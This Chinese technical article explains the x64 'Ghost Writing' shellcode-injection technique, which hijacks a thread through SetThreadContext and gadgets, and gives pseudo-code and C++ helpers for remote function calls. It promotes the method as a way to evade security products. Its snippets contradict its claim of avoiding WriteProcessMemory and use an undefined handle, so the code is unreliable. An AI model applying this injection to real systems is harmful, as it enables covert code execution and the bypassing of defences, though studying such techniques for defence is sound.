无WriteProcessMemory CreateRemoteThread实现shellcode注入 GhostWriting x64实现
字数 1446 2025-08-30 06:50:11
Ghost Writing技术:无OpenProcess/WriteProcessMemory的Shellcode注入(x64实现)
技术概述
Ghost Writing是一种高级进程注入技术,允许在不使用OpenProcess、WriteProcessMemory、CreateRemoteThread或DebugActiveProcess等传统API的情况下,向目标进程注入并执行shellcode。该技术最初由2007年的一篇博客提出,本文档将详细介绍其在x64环境下的实现方法。
核心原理
Ghost Writing技术的核心思想是:
- 利用
MOV [REG1],REG2指令配合SetThreadContextAPI实现内存写入 - 使用
EB FE指令(无限循环)作为执行滞留点,防止进程崩溃 - 通过修改线程上下文和返回地址控制执行流程
技术实现步骤
1. 寻找合适的指令片段(Gadget)
在x64环境下,我们需要寻找以下类型的指令:
MOV [REG1],REG2:用于实现内存写入EB FE:无限循环指令,用于执行滞留
由于x64架构与x86有所不同,实际可用的指令片段较少,且多为易失寄存器。可以通过以下方法寻找:
; 示例gadget
pop rcx
add rsp, 0x28
mov [rax], rcx
ret
2. 构造执行环境
- 修改返回地址:将返回地址设置为包含
EB FE指令的地址,形成死循环 - 平衡堆栈:在gadget中可能需要手动平衡堆栈(如插入
pop或add rsp指令)
3. 内存写入机制
利用找到的gadget实现内存写入:
// 伪代码示例
CONTEXT context;
GetThreadContext(hThread, &context);
context.Rip = gadget_address; // 设置RIP为我们的gadget
context.Rax = target_address; // 目标地址
context.Rcx = data_to_write; // 要写入的数据
SetThreadContext(hThread, &context);
4. 调用任意函数
通过构造栈帧和修改RIP,可以调用任意函数(如ntdll!NtProtectVirtualMemory):
-
构造栈帧:
- 需要为shadow stack预留空间((4+3+1)*sizeof(ULONG64))
- 包含返回地址、参数和指针内容
-
示例调用NtProtectVirtualMemory:
// 构造参数 ULONG64 params[] = { (ULONG64)hProcess, (ULONG64)&baseAddress, (ULONG64)&size, newProtect, &oldProtect }; // 设置上下文 context.Rip = NtProtectVirtualMemory_address; context.Rsp -= sizeof(params); // 调整栈指针 WriteProcessMemory(hProcess, (LPVOID)context.Rsp, params, sizeof(params), NULL);
5. 执行Shellcode
- 分配内存:可以使用
VirtualAllocEx申请内存(虽然使用了API,但可以替换为其他方法) - 写入shellcode:通过上述内存写入机制
- 修改执行流程:将RIP指向shellcode地址
6. 触发执行
对于GUI程序,可以通过PostMessage发送消息来触发执行,因为GUI线程是消息驱动的。
高级应用:任意方法调用
可以封装一个通用函数来调用任意API:
template<typename... Args>
ULONG64 CallFunction(HANDLE hThread, ULONG64 functionAddress, Args... args) {
CONTEXT context;
GetThreadContext(hThread, &context);
// 构造参数
ULONG64 params[] = { args... };
// 调整栈指针并写入参数
context.Rsp -= sizeof(params);
WriteProcessMemory(hProcess, (LPVOID)context.Rsp, params, sizeof(params), NULL);
// 设置RIP
context.Rip = functionAddress;
SetThreadContext(hThread, &context);
// 恢复执行
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
SuspendThread(hThread);
// 读取返回值
GetThreadContext(hThread, &context);
return context.Rax;
}
读取指针返回值
对于通过参数写回数据的函数(如NtAllocateVirtualMemory),需要从栈上读取指针值:
ULONG64 ReadPointerFromStack(HANDLE hProcess, ULONG64 stackAddress, int pointerIndex) {
ULONG64 buffer[10];
ReadProcessMemory(hProcess, (LPCVOID)stackAddress, buffer, sizeof(buffer), NULL);
return buffer[pointerIndex];
}
注意事项
- 线程句柄获取:虽然可以避免使用
OpenProcess,但仍需要OpenThread获取线程句柄 - 替代方案:可以通过遍历线程快照(
th32OwnerProcessID)来完全避免打开进程句柄 - 稳定性:注入后原进程的GUI可能会卡死,需要根据实际情况处理
- 权限问题:需要足够的权限来操作目标线程
技术优势
- 隐蔽性高:避免了传统注入技术使用的敏感API
- 适用范围广:可用于绕过某些安全产品的检测
- 灵活性好:可以扩展为通用的函数调用机制
总结
Ghost Writing技术通过巧妙的指令片段利用和线程上下文操作,实现了不依赖传统API的进程注入。在x64环境下实现时需要注意指令选择、堆栈平衡和参数传递的差异。该技术可以进一步扩展为通用的远程函数调用机制,具有很高的实用价值和研究意义。